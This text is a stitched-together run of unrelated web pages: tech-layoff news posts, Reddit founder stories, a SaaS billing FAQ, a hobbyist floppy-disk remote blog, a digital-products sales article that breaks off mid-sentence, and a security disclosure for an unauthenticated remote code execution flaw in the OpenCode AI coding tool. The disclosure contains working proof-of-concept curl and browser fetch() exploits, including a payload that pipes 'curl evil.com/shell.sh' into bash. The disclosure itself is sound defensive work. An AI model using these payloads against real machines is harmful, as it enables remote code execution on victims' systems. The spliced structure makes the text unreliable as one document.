Layoffs target R&D and operations teams amid platform consolidation strategy. Written by Kaustubh Saini Edited by Jaya Muvania Reviewed by Kaivan Dave Updated on Jul 11, 2025 Read time 3 Min Read Comments https://www.finalroundai.com/blog/indeed-glassdoor-layoffs-2025 Link copied! July just became another brutal month for tech workers. Indeed and Glassdoor announced they are cutting 1,300 jobs to speed up their artificial intelligence plans. The layoffs hit the United States hardest, targeting research and development teams alongside sustainability and people operations departments. This is not about cost-cutting during a downturn. Both companies are profitable, and their parent company Recruit Holdings is posting strong earnings. This is about AI transformation. Why These Cuts Matter? Recruit Holdings CEO Hisayuki "Deko" Idekoba made the company's position crystal clear in his memo to employees: " AI is changing the world, and we must adapt by ensuring our product delivers truly great experiences. " The message from leadership is unambiguous. When the CEO of the world's largest job platform tells you AI will change everything, you should listen. Idekoba returned as Indeed's CEO just one month ago after a six-year absence. His first major move? Cut 1,300 people and merge Glassdoor operations into Indeed. The timing is not coincidental. The Numbers Behind the Strategy Indeed's layoff history tells the real story: 2025 : 1,300 jobs eliminated (current announcement) 2024 : 1,000 employees cut (8% of workforce) 2023 : 2,200 positions eliminated (15% of total staff) Over three years, Indeed has reduced its workforce by approximately 4,500 people while simultaneously investing billions in AI infrastructure. The company is not struggling financially. It is restructuring for an AI-first future. What the CEO Actually Said " Hiring is still too slow and too hard, and we're using AI to make it simpler and more personal for both job seekers and employers, " Hisayuki “Deko” Idekoba Returns as CEO of Indeed - Indeed Press Room Idekoba stated when he returned as CEO in June. The message is clear: AI will handle tasks that humans currently perform in the hiring process. Glassdoor CEO Christian Sutherland-Wong will leave the company on October 1st after 10 years. His departure coincides with Glassdoor's integration into Indeed's AI-powered platform. When two major job platforms become one, fewer people are needed to run them. The Broader AI Employment Crisis This announcement adds to the 94,000 tech jobs already lost in 2025 . Companies are not just cutting costs. They are redirecting human salary budgets toward AI systems that can perform the same work. The roles disappearing first at Indeed and Glassdoor mirror industry-wide patterns: Research and development : AI tools now assist with product development and testing People operations : Automated HR systems handle employee management tasks Customer support : Chatbots resolve user issues without human intervention Data analysis : AI processes job market trends faster than human analysts Why This Consolidation Is Different? Recruit Holdings operates job platforms in over 60 countries. When the company consolidates Glassdoor into Indeed, it eliminates duplicate functions across both platforms. AI makes this possible by automating processes that previously required separate teams. The company is not hiding its strategy. At the World Economic Forum in January, Idekoba discussed how AI will augment human work but emphasized that "human expertise will remain essential, especially for complex problem solving." But here's the catch: " complex problem solving " requires fewer people than the routine tasks AI now handles. What Workers Need to Know? Indeed and Glassdoor are not outliers. They are following the same playbook as Microsoft , Intel , Meta, and dozens of other companies that have cut thousands of jobs while investing in AI. If you work in tech, especially in roles involving data processing, customer service, or routine analysis, your position is at risk. The companies have decided that AI can do these jobs more efficiently. The workers who will survive this transition are those who can manage AI systems, make strategic decisions that require human judgment, or perform tasks that AI cannot replicate. The Reality Check This is not temporary workforce optimization. When Recruit Holdings merges two major platforms and cuts 1,300 jobs, those positions will not return. The money saved on salaries will fund more AI development. Indeed connects over 610 million job seekers with 3.3 million employers using increasingly automated systems. The irony is unmistakable: the world's largest job platform is eliminating jobs to become more efficient. The message for tech workers is stark. Learn to work with AI tools, develop skills that machines cannot replicate, or find yourself competing for fewer available positions. The companies have already decided which path they are taking. You need to decide what you are going to do about it. Upgrade your resume! Create a hireable resume with just one click and stand out to recruiters.

But I really want to dive deeper into book and learn what are the problems faced by new founders? Could be social exclusion, dealing uncertainties first time, confusion, lack of belief, confidence.....book that covers all these elements that are core stress triggers for early stage founders Any such book recommendation? 0 to $186k per month. I will not promote. u/kiyyang • 0 to $186k per month. I will not promote. I will not promote i am 34 years old asian man, and I’ve been trying to build businesses for the past 10 years. Along the way, I spent some time freelancing and also worked a regular job for about two years. By the time I turned 29, I had lost everything I had no savings, only debt. My web development skill was only thing improved. The business I’m running now is essentially my last attempt, and it has finally started to work. I run a dating related app. (I have been working as a freelancer at dating app startup. So I can build it well). When choosing what to build, I deliberately picked something that I believed could remain relatively resilient and adaptable in the age of rapidly advancing AI. I’ve been working on this product continuously for the past 2 years and 3 months. Growth was slow at first, but steady. Today, the business generates around $186k / month. For the first 6 months, I made less than $1k per month. For the next 6 months, I averaged around $4k per month. After that first year, growth started to accelerate significantly. The hardest part of this journey wasn’t just the business itself. it was managing my life in a balanced way. My parents are divorced, and neither of them is financially prepared for retirement. Compared to my peers, I had saved very little. I’m still unmarried. After years of failed ventures, nothing in my life felt stable or solid. In that environment, my fear of failure became overwhelming. I didn’t have anyone I could truly lean on emotionally. Even now, I don’t really have hobbies outside of work. I’m not particularly outgoing either. As I write this, it’s 11:49 PM on the last day of 2025, and I’m sitting alone in my office, writing this post on Reddit. The main reason I wanted to write this post is to share one thing I regret the most. A few years ago, I broke up with my girlfriend, the person who stayed by my side through some of the hardest years of my life. At the time, I was exhausted, overwhelmed, and resentful of everything. I saw even my relationship as a mental burden. But in reality, she was the only person who truly supported me, the only one I could deeply rely on emotionally. After we broke up, I focused exclusively on my business. The business eventually worked not because of the breakup, but despite everything. And now, when I look back, she’s the only thing I think about. She’s now preparing for marriage with someone else. And I’m dealing with loneliness, questioning whether I can continue growing this business, and worrying about the future. I know I’ll keep going. I know I’ll make it work. But as I get older, the loneliness and isolation feel heavier, and I can feel myself becoming more emotionally unstable. Sometimes I wonder: If I had someone by my side right now, wouldn’t I be imagining the future of my business with a much stronger and brighter mindset? So this is what I want to say to anyone reading this: If you have nothing right now no money, no success, no certainty but someone you love is staying by your side**,** If you can, hold on to them and build a life together. No matter what happens to my business from here on out, this will probably remain my greatest regret. (I will not promote) could a brand hit $1m in 30days just by partnering with controversial people? u/Growthseeker23 • (I will not promote) could a brand hit $1m in 30days just by partnering with controversial people? I will not promote random thought experiment. what if a brand only partnered with people involved in controversies. no clean influencers. no safe faces. just people everyone argues about. the idea would be attention. lean fully into being the “bad” brand people hate-watch, screenshot, and debate. short-term hype, high churn, constant outrage cycles. but maybe insane distribution. sounds stupid. also sounds like something that could accidentally work. do you think this is just internet brainrot, or could someone actually build a $1m brand in 30 days doing this??

What is a notification? A notification is defined as a message triggered to a single user or object on any downstream channel (eg. Email, Push, In-app, SMS, Slack, Webhook, etc). What qualifies as a notification for billing purposes? • If a workflow triggers notifications to one user on multiple channels (e.g., Email, SMS, and In-app), each channel counts as a separate notification. • If a workflow triggers a call to a webhook endpoint, it counts as a separate notification. • If a workflow triggers notifications to multiple users in bulk request, each user’s notification is counted separately. • Notifications that are failed by SuprSend due to reasons like user opt-out or inactive channels, etc, they are not counted towards billing. • If a notification is successfully triggered by SuprSend but is failed by the downstream provider, it will be counted towards billing. • In case of batching / digest where multiple requests are batched or grouped into one notification (e.g., a digest email), it counts as one notification for billing. • If a notification is triggered to an object which has it own channel (e.g., object feed), it is treated like a user channel and counts as one notification. Additionally, if the object has subscribers and notifications are sent to them, those are also counted separately. Do you offer any other billing models other than Notifications triggered count? Yes, we do offer MTU model (unique users who are triggered a notification in any given month) alongside notifications triggered count. Contact us to let us know your billing requirements and we will prepare a custom plan. Is SuprSend billing based only on the notifications triggered, regardless of the number of requests sent to SuprSend? Yes, we do not charge based on number of requests you make to SuprSend to trigger your designed notification workflows. However, to ensure smooth system performance, we have a generous fair limit on the number of requests allowed. If we detect an unusually high volume of requests, which is typically caused by a bug or misconfiguration on your end, we will reach out to address the issue and ensure uninterrupted service. What happens if I exceed the free plan limit without a billing method set up? We do not stop processing and sending your notification requests. We will alert and contact you if your account goes over the free plan limit, and you can either upgrade your account or we can discuss custom pricing requirements. Is there a free trial of the paid plans? Yes, we provide a Sandbox for one month, where you can access all the features of the paid plans. Post one month, you can upgrade to one of the paid plans, or continue building on Free plan. Do you offer any discounts for startups and non-profits? We support the success of startups by offering exclusive discounts through our SuprSend for Startups program. If your startup meets the criteria, you can access special pricing and resources to help you scale. Learn more about how to qualify here . How does the billing cycle work? For Monthly Plan, your billing starts on the day you subscribe to a paid plan. You’ll be charged immediately for the first month, and the subscription will renew on the same day each month. Any usage-based or overage charges will be calculated at the end of the month and added to your next month’s bill. For instance, if you upgrade on 7th of a given month, you will be immediately charged for that month, and the next charge will be on 7th of the following month. Annual Plans are billed upfront for the entire year on the day of subscription. This option typically comes with cost savings compared to monthly billing. Any overages or usage exceeding plan limits are calculated monthly and billed at the end of each month, unless stated otherwise. Contact us to know more. Do you offer volume discounts? Yes, we do offer discounts at high volume and annual commitments, contact us for the custom plan. Do I still have to pay for third-party providers such as Twilio or Mailjet while using SuprSend? Yes, SuprSend is a central orchestration layer integrated with your preferred providers. You will need to bring your own provider accounts, such as Twilio, Sendgrid or Mailjet, and pay the providers directly for their consumption. For which channels will I need downstream messaging providers? For SMS and Email, you will need downstream messaging providers. For Whatsapp, you can choose between a provider or directly with Whatsapp Cloud API. For Mobile Push, Web Push, Slack, Teams and In-app Inbox, we offer direct integrations with the channels and you do not require any intermediary provider. Does SuprSend sign BAAs for HIPAA-compliant customers? Yes, SuprSend is HIPAA compliant and we sign BAA for customers on Enterprise plan. Contact us for more details. Do you offer any Service Level Agreements (SLAs)? Yes, we do offer SLAs in our Enterprise plan. Contact us for more details. Do you offer an annual contract and billing option? Yes, SuprSend provides annual contracts with invoicing options for Enterprise plan. Opting for annual billing streamlines your payment process and offers savings compared to monthly plan. For larger teams and enterprises, we also offer customized contracts to meet your specific requirements. Reach out to us to learn more about customized enterprise agreements and flexible invoicing solutions.

Written by Kaustubh Saini Edited by Jaya Muvania Reviewed by Kaivan Dave Updated on Dec 16, 2025 Read time 3 min read Comments https://www.finalroundai.com/blog/mckinsey-layoffs-few-thousand-jobs Link copied! McKinsey & Company is preparing to cut thousands of jobs over the next two years. McKinsey Plans 10% Job Cuts by 2027 First reported by Bloomberg , McKinsey is planning to reduce staffing in non-client-facing roles by about 10%, potentially affecting a few thousand employees around the world. The reductions would be phased in over the next 18 to 24 months and are expected to be completed by 2027. McKinsey is one of the world’s most prestigious consulting firms and a longtime advisor to corporations on how to streamline operations. Now, when they are celebrating their 100th anniversary next year, they will have to trim their workforce. Announcing the upcoming layoffs, a McKinsey spokesperson said: “As our firm marks its 100th year, we’re operating in a moment shaped by rapid advances in AI that are transforming business and society. Just as we’re partnering with clients to strengthen their organizations, we’re on our own journey to improve the effectiveness and efficiency of our support functions.” This isn’t McKinsey’s first round of layoffs. The firm expanded from 17,000 employees in 2012 to 45,000 in the next 10 years. Now, they have gone down to under 40,000 with gradual reductions: In 2023, McKinsey started job cuts and cut up to 2,000 jobs in back-office and support functions. The layoffs were part of an internal restructuring initiative called Project Magnolia, aimed at reducing support roles to free up resources for client-focused hiring. In 2024, around 360–400 people were laid off , mainly impacting technical specialists across design, data engineering, cloud, and software teams. Just weeks ago, McKinsey cut around 200 tech jobs as part of a broader shift toward AI-focused operations. In August, reports said McKinsey had begun deploying thousands of internal AI agents to automate tasks, once handled by junior consultants. Overall, they reduced headcount by 5,000 in the last 5 years. Is AI Causing All These Layoffs? AI is becoming a powerful replacement for human workers, especially in administrative and support functions. Bob Sternfels, McKinsey’s global managing partner, signaled this shift a couple of months ago, saying that the firm would “ probably have fewer folks in the non-client-deployed areas ”. AI systems are increasingly able to perform many tasks that consultants once handled manually, such as data analysis, modeling, and even drafting reports. When AI-enabled software can do these tasks faster and more cheaply, companies reassess how many people they need in the back office. McKinsey itself reported that 30% of companies are planning job cuts due to AI . Who knew they would be one of the victims? But AI isn’t the only problem. The consulting industry is experiencing a significant demand slowdown after years of explosive growth. Companies worried about economic uncertainty and geopolitical tensions have pulled back on consulting spending. This decision stems from a realization within the firm that there is "bloat" and a need to "get leaner”. Also, while their current revenue is significant, it has remained relatively flat in recent years. Companies are becoming more cost-conscious, and consulting fees are often among the first expenses to be cut when clients are not experiencing strong revenue growth. Then there is competition from new players as well. A recent HFS Research report shows that many enterprises are shifting toward AI-powered consulting firms, with 65% saying traditional consulting models no longer provide enough value. Bottom Line There’s a certain irony to McKinsey’s situation. For decades, the firm has built its reputation advising companies on restructuring and cost-cutting, and it is now taking its own medicine. Yet the company insists this is about adaptation. While cutting support staff, McKinsey plans to continue hiring consultants who work directly with clients. The situation at McKinsey reflects a massive transformation in how companies work. Traditional jobs that humans need to do, particularly in administrative roles that can increasingly be handled by AI. Upgrade your resume!

https://cy.md/opencode-rce/ | Unauthenticated Remote Code Execution in OpenCode Unauthenticated Remote Code Execution in OpenCode Affected software: OpenCode (npm: opencode-ai ) CVE: CVE-2026-22812 TL;DR: Before v1.1.10 , OpenCode automatically and silently started an unauthenticated web server which allowed connecting peers to execute arbitrary code. Before v1.0.216 , any website could execute arbitrary code on your machine if OpenCode was running — no user interaction or configuration necessary. Since v1.1.10 , the server is disabled by default, but when enabled (via flags or config) it remains completely unauthenticated. Vulnerability Summary OpenCode is an open-source AI coding assistant. Prior to v1.1.10, it automatically spawned an HTTP server (default port 4096+) on startup. Since v1.1.10, the server is disabled by default but can be enabled via command-line flags or configuration file. When running, the server exposes endpoints for: Executing arbitrary shell commands ( POST /session/:id/shell ) Creating interactive terminal sessions ( POST /pty ) Reading arbitrary files ( GET /file/content ) This server has no authentication. Any client that can connect to it gains full code execution with the privileges of the user running OpenCode. When the server is running, there is no visible indication to the user. Note: The CORS policy hardcodes *.opencode.ai as an allowed origin. This means any page served from opencode.ai or its subdomains can access the server API when it's running. If opencode.ai is ever compromised, or an XSS vulnerability is found on any subdomain, attackers could exploit all users who have the server enabled. Attack Vectors Attack Vector Affected Versions Status Vendor Advisory Any website can execute code on any OpenCode user's machine < 1.0.216 Fixed in v1.0.216 Silent fix Any process on the local machine can execute code as the OpenCode user < 1.1.10 Mitigated in v1.1.10 Silent fix Any web page served from localhost/127.0.0.1 can execute code < 1.1.10 Mitigated in v1.1.10 Silent fix When server is enabled, any local process can execute code without authentication All versions Unfixed None When server is enabled, any web page served from localhost/127.0.0.1 can execute code All versions Unfixed None No indication when server is running (users may be unaware of exposure) All versions Unfixed None With --mdns , any machine on the local network can execute code All versions Unfixed None *.opencode.ai can execute code when server is running All versions Unfixed None If opencode.ai is compromised, attackers gain access to users with server enabled All versions Unfixed None Any XSS on opencode.ai can compromise users with server enabled All versions Unfixed None Proof of Concept Local Exploitation (when server is enabled) Any process on the machine can execute commands when the server is running: API="http://127.0.0.1:4096" SESSION=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id') curl -s -X POST "$API/session/$SESSION/shell" \ -H "Content-Type: application/json" \ -d '{"agent":"build","command":"id > /tmp/pwned.txt"}' Browser-Based Exploitation (pre-v1.0.216) Before the CORS fix, any website could silently exploit visitors: fetch('http://127.0.0.1:4096/session', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: '{}' }).then(r => r.json()).then(s => { fetch(`http://127.0.0.1:4096/session/${s.id}/shell`, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({agent:'build', command:'curl evil.com/shell.sh|bash'}) }) }) Confirmed working in Firefox. Chrome's Local Network Access protection may prompt users. Mitigations for Users Immediate actions: Check your version by running opencode --version Update to v1.1.10 or newer to ensure the server is disabled by default Check your config file for server.port or server.hostname settings which silently enable the server Do not use the --mdns flag (binds to 0.0.0.0 without warning) If you must enable the server, do not visit opencode.ai or any subdomains while it is running Be aware that when the server is enabled, any local process can exploit it without authentication Disclosure Timeline Date Action Response (at disclosure) 2025-11-17 Reported via email to support@sst.dev per SECURITY.md No response 2025-12-27 Filed GitHub Security Advisory No response 2025-12-29 Issue independently publicly reported by another user — 2025-12-30 Partial fix: CORS restricted in v1.0.216 — 2026-01-07 Escalated to community Discord No response 2026-01-08 Follow-up via issue comment Upstream responded to issue 2026-01-09 Server disabled by default in v1.1.10 — 2026-01-11 Full public disclosure — Recommendations Restrict CORS to minimal required set (done in v1.0.216) Disable server by default (done in v1.1.10) Require authentication for all server requests Clearly indicate to users when the server is running (e.g., startup message or persistent UI indicator) Improve --mdns documentation to clearly explain it binds to 0.0.0.0 and allows any machine on the local network full access Enforce TLS for server communication over network connections Publish the GitHub Security Advisory and obtain CVE ( CVE-2026-22812 ) Ensure the security reporting email address is monitored Ensure GHSA notifications are monitored Clarify trust relationship between OpenCode maintainers, opencode.ai, and OpenCode users Contact Questions about this disclosure: cy.md Last updated: 2026-01-12 Code analysis and documentation assisted by Claude AI (Opus 4.5). | 2026-01-13T08:47:37 |

Olesen Floppy Disks: the best TV remote for kids Posted on mandag, januar 12, 2026 in Hal9k , Planet Ubuntu-DK , Planets Modern TVs are very poorly suited for kids. They require using complicated remotes or mobile phones, and navigating apps that continually try to lure you into watching something else than you intended to. The usual scenario ends up with the kid feeling disempowered and asking an adult to put something on. That something ends up on auto-play because then the adult is free to do other things and the kid ends up stranded powerless and comatose in front of the TV. Instead I wanted to build something for my 3-year old son that he could understand and use independently. It should empower him to make his own choices. It should be physical and tangible, i.e. it should be something he could touch and feel. It should also have some illusion that the actual media content was stored physically and not un-understandably in “the cloud”, meaning it should e.g. be destroyable — if you break the media there should be consequences. And there should be no auto-play: interact once and get one video. Floppy disks are awesome! And then I remembered the sound of a floppy disk. The mechanical click as you insert it, the whirr of the disk spinning, and the sound of the read-head moving. Floppy disks are the best storage media ever invented! Why else would the “save-icon” still be a floppy disk? Who hasn’t turned in a paper on a broken floppy disk, with the excuse ready that the floppy must have broken when the teacher asks a few days later? But kids these days have never used nor even seen a floppy disk, and I believe they deserve this experience! Building on the experience from the Big Red Fantus-Button , I already had a framework for controlling a Chromecast, and because of the netcat | bash shenanigans it was easily extendable. My first idea for datastorage was to use the shell of a floppy disk and floppy drive, and put in an RFID tag; this has been done a couple of times on the internet, such as RFIDisk or this RaspberryPi based RFID reader or this video covering how to embed an RFID tag in a floppy disk . But getting the floppy disk apart to put in an RFID tag and getting it back together was kinda wonky. When working on the project in Hal9k someone remarked: “Datastorage? The floppy disk can store data!”, and a quick prototype later this worked really, really , well. Formatting the disk and storing a single small file, “autoexec.sh”, means that all the data ends up in track 0 and is read more or less immediately. It also has the benefit that everything can be checked and edited with a USB floppy disk drive; and the major benefit that all the sounds are completely authentic: click, whirrr, brrr brrr. Autorun for floppy disks is not really a thing. The next problem to tackle was how to detect that a disk is inserted. The concept of AutoRun from Windows 95 was a beauty: insert a CD-ROM and it would automatically start whatever was on the media. Great for convenience, quite questionably for security. While in theory floppy disks are supported for AutoRun , it turns out that floppy drives basically don’t know if a disk is inserted until the operating system tries to access it! There is a pin 34 “Disk Change” that is supposed to give this information , but this is basically a lie. None of the drives in my possession had that pin connected to anything, and the internet mostly concurs. In the end I slightly modified the drive and added a simple rolling switch, that would engage when a disk was inserted. A floppy disk walks into a drive; the microcontroller says “hello!” The next challenge was to read the data on a microcontroller. Helpfully, there is the Arduino FDC Floppy library by dhansel, which I must say is most excellent. Overall, this meant that the part of the project that involved reading a file from the floppy disk FAT filesystem was basically the easiest part of all! A combined ATMega + ESP8266 UNO-like board. Not really recommended, but can be made to work. However, the Arduino FDC Floppy library is only compatible with the AVR-based Arduinos, not the ESP-based ones, because it needs to control the timing very precisely and therefore uses a healthy amount of inline assembler. This meant that I would need one AVR-based Arduino to control the floppy disk, but another ESP-based one to do the WiFi communication. Such combined boards do exist, and I ended up using such a board, but I’m not sure I would recommend it: the usage is really finagly, as you need to set the jumpers differently for programming the ATmega, or programming the ESP, or connecting the two boards serial ports together. A remote should be battery-powered A remote control should be portable, and this means battery-powered. Driving a floppy disk of of lithium batteries was interesting. There is a large spike in current draw when the disk needs to spin up of several amperes, while the power draw afterwards is more modest, a couple of hundred milliamperes. I wanted the batteries to be 18650s, because I have those in abundance. This meant a battery voltage of 3.7V nominally, up to 4.2V for a fully charged battery; 5V is needed to spin the floppy around, so a boost DC-DC converter was needed. I used an off the shelf XL6009 step-up converter board. At this point a lot of head-scratching occurred: that initial spin-up power draw would cause the microcontroller to reset. In the end a 1000uF capacitor at the microcontroller side seemed to help but not eliminate the problem. One crucial finding was that the ground side of the interface cable should absolutely not be connected to any grounds on the microcontroller side. I was using a relatively simple logic-level MOSFET, the IRLZ34N , to turn off the drive by disconnecting the ground side. If any ground is connected, the disk won’t turn off. But also: if any logic pin was being pulled to ground by the ATmega, that would also provide a path to ground. But since the ATmega cannot sink that much current this would lead to spurious resets! Obvious after the fact, but this took quite some headscratching. Setting all the logic pins to input, and thus high impedance , finally fixed the stability issues. After fixing the stability, the next challenge was how to make both of the microcontrollers sleep. Because the ATmega sleep modes are quite a lot easier to deal with, and because the initial trigger would be the floppy inserting, I decided to make the ATmega in charge overall. Then the ESP has a very simple function: when awoken, read serial in, when a newline is found then send off that complete line via WiFi, and after 30 seconds signal to the ATmega that we’re sleeping, and go back to sleep. The overall flow for the ATmega is then: A disk is inserted, this triggers a interrupt on the ATmega that wakes up. The ATmega resets the ESP, waking it from deep sleep. The ATmega sends a “diskin” message over serial to the ESP; the ESP transmits this over WiFi when available. The ATmega turns on the drive itself, and reads the disk contents, and just sends it over serial to the ESP. Spin down the disk, go to sleep. When the disk is ejected, send a “diskout” message over serial, resetting the ESP if needed. Go back to 1. The box itself is just lasercut from MDF-board. For full details see the FloppyDiskCast Git repository . Server-side handlers Responding to those commands is still the netcat | bash from the Big Red Fantus-Button , which was simply extended with a few more commands and capabilities. A few different disks to chose from, with custom printed labels. diskin always sends a “play” command to the Chromecast. diskout always sends a “pause” command to the Chromecast. Other commands like dad-music are handled in one of two ways: Play a random video from a set, if a video from that set is not already playing : e.g. dad-music will randomly play one of dad’s music tracks – gotta influence the youth! Play the next video from a list, if a video from the list is not already playing : e.g. fantus-maskinerne will play the next episode, and only the next episode. Common for both is that they should be idempotent actions, and the diskin shortcut will make the media resume without having to wait for the disk contents itself to be read and processed. This means that the “play/pause” disk just contains an empty file to work. Questionable idea meets real-world 3 year old user The little guy quickly caught on to the idea! Much fun was had just pausing and resuming music and his Fantus TV shows. He explored and prodded, and some disks were harmed in the process. One problem that I did solve was that the read head stayed on track 0 after having read everything: this means that when the remote with disk inside it is tumbled around, the disk gets damaged at track 0. To compensate for this, I move the head to track 20 after reading has finished: any damage is then done there, where we don’t store any data. As a bonus it also plays a little more mechanic melody. « Upgrading the Olimex A20 LIME2 to 2GB RAM, by learning to BGA solder and deep diving into the U-Boot bootloader process Bring on the comments Tamara Raetz siger: 12. januar 2026 kl. 17:29 That was a lot of work to go to so that you could delay or avoid both negative and positive interactions with your son. When you engage face to face you could be teaching him qualities like patience and obedience and encouragement; you could be showing him frequently that you enjoy his company, that he is a likeable person worth your time and attention. Technology is not supposed to replace parenting, friend. Reply to this Comment Theron siger: 12. januar 2026 kl. 19:00 Awesome. I’ve wanted to do something with mini disks myself for a while. Did you consider just using the disks as a carrier and putting a RFC tag under the sticker or something? Would dramatically lower power consumption.

From AI art to ebooks and plugins, here’s what actually sells in 2025 and makes your wallet happy! Mert Bulut 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points In this article, we will mainly focus on best-selling digital products, covering how to create digital products Education sells forever: Ebooks and online courses turn your skills (coding, design, marketing, photography) into passive income you create once and sell for years, often priced from $5 to $500+. Design + tools = fast wins: Templates, mockups, UI kits, fonts, stock visuals, and printables save people time, which means they’ll happily pay—from $3 Etsy downloads to $1,000+ commercial licenses. AI & subscriptions: AI art, prompt kits, plugins, and recurring service subscriptions scale hard, sell globally, and work best when paired with platforms that handle payments, VAT, and automation. If you are interested in selling digital products online, keep reading because I’m here to feed you with 15 top ideas. We all want to earn side income. Whether as full-time employees or independents like freelancers, digital creators, or digital nomads. The most accessible way is digital products. We agree, right? We want to hear that “Cha-Ching” sound while sleeping. If you are undecided and don’t know where to start selling digital items online, gather ‘round. I found digital products for you that will still remain popular in 2026 and beyond. We are ending the “ What to sell as a digital product? ” topic in this article. Let’s go! The best digital product ideas you can sell in 2026 Here is what you can sell as digital products . No matter what your profession is, you can choose one for yourself and turn it into a side income! 1. Ebooks From dusty pages to phone screens E-books are an innovative way to turn your knowledge into money without video and audio. They have been around since the 2000s, but they are now everywhere due to rapid digitalization. And they allow you to write books without big publishing houses. Additionally, you create it once, and it can be sold thousands of times over the years. In general, you don’t need to update unless there is a significant change. However, sending annual notifications such as "Updated for 2026" increases satisfaction. Also, e-books are generally not literary works (that's rare). They generate the highest profits when sold as educational products. Therefore, I want you to consider what you know best. What is that thing that aligns with your skills, that people identify with you? If you are a marketer, I would like to take your marketing training. Your plant care may not interest me or most people. If I trust that you are a very good developer, as a software student, my desire to buy from you would increase. Do it like this: Are you a copywriter? Share your best writing tricks. Are you a graphic designer? Share Adobe shortcuts. Are you a developer? Write a "Coding 101" guide. Photographers? Share your shooting techniques. Musicians? Teach your mixing and mastering tricks. How and where can you offer e-books? Average e-book prices typically range from $5 to $30. But you’ll see some hitting $100+. The price is gonna change based on the value, length, and quality. If you've got a technical e-book with information that’s hard to find, definitely don’t sell it cheaply! For marketplace sales, Amazon KDP remains a good option. But, if you’re like " I already have a following, I want to present my product well and have everything (invoices, VAT) handled for me, " then Ruul Space will do way more than you expect. Why Ruul should be your go-to: Check it out. Selling an ebook on Ruul Space is simple and hassle-free. Just set up your Ruul Space, upload your product, and start selling digital goods worldwide. 2. Online Courses More profitable than hourly classes Online courses are profitable digital products to sell. You can record your content as a video, support each one with special notes, or even prepare quizzes to support student progress. Plus, there are dozens of options where you can blend online courses with different income methods. If you want, provide additional video coaching to course buyers (either in groups or one-on-one), or sell them e-books and textbooks. IMO, the best part of online courses is that they can be sold thousands or even millions of times. How and where can you offer online courses? Your course price needs to match your industry. Rates generally range from $50 to $300, but for very technical topics, they can exceed $500. When determining this, you can consider your target audience, such as gentler pricing for young students. The best places to sell are Udemy, Teachable, and Thinkific, but high commissions are a drawback. That’s why, if you aren't looking for a marketplace but plan to sell your education as a packaged file, Ruul’s 5% commission is a good fit. How to start selling digital products is mostly about finding the best platform in terms of commission rates, if you can build a personal brand on the platform, and if it provides you with the features you need to deliver your course efficiently. 3. Fixed Price Service Packages For anyone with free talent Fixed-price service packages are a great example of a digital product for independent workers. You don’t need to look for it elsewhere. Most freelancers work on a long-term project basis, but at a certain point, they discover digital products. This means selling an app icon kit if you are a graphic designer, or selling ready-to-use templates if you are a writer. Take a look at Miles Becker , whom we created as a sample profile listing his services on Ruul Space : When a customer clicks on Miles Becker’s profile, they will see all service content (price, scope) and be able to purchase with a single click. This will reduce friction and enable Miles Becker to achieve quick wins without constantly promoting the service. Now, consider how you can package your service. For example, if you are a designer, separate services like logo design, banner design, poster design, and a professional brand kit. This way, you will have packaged different services and made them more accessible. How and where can you offer service packages? I’d be lying if I told you an average service package price. Because there are so many variables, from the type of service to your skill. But if you want, you can get an idea by reading our articles on freelance rates: → Freelance Writer Rates | Freelance Designer Rates | Freelance Developer Rates As a quick reference, our freelance hourly rate calculator can also give you an idea. So let’s talk about where to sell digital products. The most popular places to sell are Fiverr Gigs, Upwork Project Catalog, and Ruul Space. Which one you choose is up to you. For fast, low-cost work, Fiverr; for long-term personal brand building and payment ease (invoicing, compliance, withdrawals), definitely Ruul. Why Ruul should be your go-to: Check it out. Ruul is the best platform for making a service “ buyable. ” Because it’s not just for selling, it also provides a billing & payment button . So with Ruul, you’re getting more than just a listing. And the best part? It doesn’t take 20% like the others. Ruul charges 5% per invoice (no monthly subscriptions), and you keep most of your earnings. Plus, it doesn’t matter where your clients are. With support for 190 countries and over 140 currencies ( crypto included ₿), you can sell and get paid from literally anywhere. Honestly, it’s as easy as ordering food. 🍕🤞🏻 4. Subscription-Based Services For steady, reliable income For freelancers, the place where digital products meet sustainable income is definitely subscription-based services. This is a result of loyalty and helps ensure it is maintained. Instead of recalculating every month with the client you write 5 blogs for, you just close the topic. Like this: Blog package – 5 blogs for the website, including upload | $1500/mo Social media package – 3 posts a week, DM management | $1100/mo Video editing package – 4 videos a month, 2 revisions | $1800/mo This way, neither you nor your client has to guess what happens next. Payments post to the account on the same day every month. You get paid like Netflix. Late payments are now off the table. This is like setting up automation. How and where can you offer subscription-based services? Try Ruul for offering subscription-based freelance services. Because you need to migrate your client to a new system, Ruul is the best choice for a seamless transition. Your client subscribes via the link without even signing up for the site. Why Ruul Space should be your go-to: Check it out. With Ruul Space, you can turn any recurring service or membership into a subscription. Want to offer license keys? Yep, you can do that too. 🔑 The best part: Ruul acts as a MoR (Merchant of Record) , which means it handles all payment processing for you (including legal compliance, such as VAT). 5. Printable Digital Products From tee prints to invite cards Printable digital products cover a wide range of items, from t-shirts and mug prints to notebook and vase prints, and from stickers to bag prints. You define your own style, create designs, and then sell them to people to print on their products. Let me go a bit more into detail about how to make and sell digital products that are printable. Think of a new t-shirt shop. They select the trendy, popular t-shirt designs you created that fit their brand, buy them, and print them on their merch. You can make your designs with Midjourney, Gemini Banana, or Sora. However, you need to be careful to be original and stick to a single style. How and where can you offer printable digital products? The average price of printable digital prints ranges from $3 to $15. Don’t let the low price fool you. You can sell them thousands of times. For fast sales and a ready-made customer base, I don’t know anything better than Etsy. But if you say, “I’m a premium designer, I’m going to sell my prints to my own audience,” Ruul could be a great showcase for you. Plus, you won’t be tied to a local market. Alternative markets include Gumroad and Creative Market. If you want, you can also check out our guide on → what you can sell on Gumroad . 6. Digital AI Art Canvas & brushes aren’t the only tools anymore AI image generation tools are now the new way to be an artist. I’m not joking, a lot of people doing this professionally have sprung up in the last few years. In fact, back in 2018, a person producing an AI portrait managed to sell their art for $432,500. But it has become so widespread today that selling at such prices is almost impossible. But never mind, here you need to earn from volume a bit. Many products and an ideal price significantly increase your chances of selling per unit on digital product marketplaces. To do this, choose a style and produce consistent visuals. fit what you produced into a frame in apps like Photoshop and publish them on marketplaces. Customers can add them to their frames after purchase and printing. Midjourney is the best for professionalism. It offers significant opportunities to develop your AI art skills. If you prefer, instead of relying on volume, you can open an Instagram account or showcase your work more premium on 